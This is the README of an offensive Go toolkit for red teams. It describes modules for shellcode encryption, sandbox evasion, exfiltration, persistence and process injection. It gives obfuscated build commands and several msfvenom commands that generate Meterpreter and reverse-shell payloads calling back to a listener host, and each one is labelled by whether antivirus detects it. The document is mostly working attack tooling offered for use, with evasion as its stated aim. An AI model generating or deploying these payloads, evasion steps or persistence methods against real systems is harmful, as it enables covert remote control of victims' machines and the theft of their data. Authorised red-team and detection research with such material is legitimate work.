OffensiveGolang

OffensiveGolang is a collection of offensive Go packs inspired by different repositories. Ideas have been taken from OffensiveGoLang and Ben Kurtz's DEFCON 29 talk.
This repository has some basic implementations and examples that depending on the environment in which they are used can be easily detected by defensive systems. The goal is to support the rapid development of red team tools by providing common functions and with the possibility of improvements by the community.
The different modules presented are the following:
The different modules presented are the following:
- Encryption: Module that allows encrypting the payload shellcode using AES and a 32-byte random key.
- Evasion: Based on other projects such as robotgo, functions have been implemented that identify screen dimensions, mouse movements and process information in order to avoid the execution of binaries in sandboxes.
- Exfil: Implements functions that allow loading the shellcode from an external web server or sending a screenshot after having used the screenshot method through a POST request.
- Persistence: Allows you to create a scheduled task using the methods provided by the taskmaster project. In addition, you can also modify the Windows registry to run a binary at startup.
- Payloads: set of methods collected from different repositories that allow from generating a simple reverse shell in Golang to injecting code into the memory of an existing process.
- Examples: Different examples using the modules described above.
Installation π
go get github.com/MrTuxx/OffensiveGolang
Linux
- Installation of dependencies
$ sudo apt install gcc libc6-dev
$ sudo apt install libx11-dev xorg-dev libxtst-dev
$ sudo apt install libpng++-dev
$ sudo apt install xcb libxcb-xkb-dev x11-xkb-utils libx11-xcb-dev libxkbcommon-x11-dev libxkbcommon-dev
$ sudo apt install xsel xclip
$ sudo apt install gcc-multilib
$ sudo apt install gcc-mingw-w64
$ sudo apt install libz-mingw-w64-dev
Windows
- Install Mingw64 and ZLIBx64
- Download and install TDM GCC Mingw64
add \TDM\bin to PATH
- Download and unzip ZLIBx64
- copy _\zlib\bin to \TDM\bin
- copy \zlib\include to \TDM\include
- copy \zlib\lib to \TDM\lib
Basic Examples π
Simple Go Reverse Shell
- Simple Golang connection (UPDATE: Not detected by AV as of 19/03/2022)
$ cd examples\reverse_shell
$ garble -literals -seed=random -tiny build -o output.exe

Simple Go Reverse Shell in a dll
- Simple Golang connection (UPDATE: Not detected by AV as of 19/03/2022)
$ cd examples\reverse_shell_dll
$ go build -o output.dll -buildmode=c-shared reverse_shell_dll.go

CreateThread
Dynamic link library (DLL)
- Meterpreter Staged Payload with Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest

NOTE: Some msf commands trigger the AV
Portable Executable (PE)
- Meterpreter Staged Payload with Evasion and Encryption Module implemented. (UPDATE: Detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Reverse Shell Staged Payload with Evasion and Encryption Module implemented.(UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest

RemoteThread
Dynamic link library (DLL)
- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest

Portable Executable (PE)
- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest

NOTE: Some msf commands trigger the AV
Syscall
Dynamic link library (DLL)
- Meterpreter Staged Payload with Evasion Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest

Portable Executable (PE)
- Meterpreter Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Detected by AV as of 19/03/2022)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
- Reverse Shell Staged Payload downladed from external web server with Evasion and Encryption Module implemented. (UPDATE: Not detected by AV as of 19/03/2022)
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.21 -o /opt/Offensive-Golang/payload2.txt -b "\x00" EXITFUNC=thread LPORT=443 -f c --smallest
Persistence
- Task scheduled with malicious dll using syscall

References π
- Installation
- Obfuscation
- Golang Offensive Tools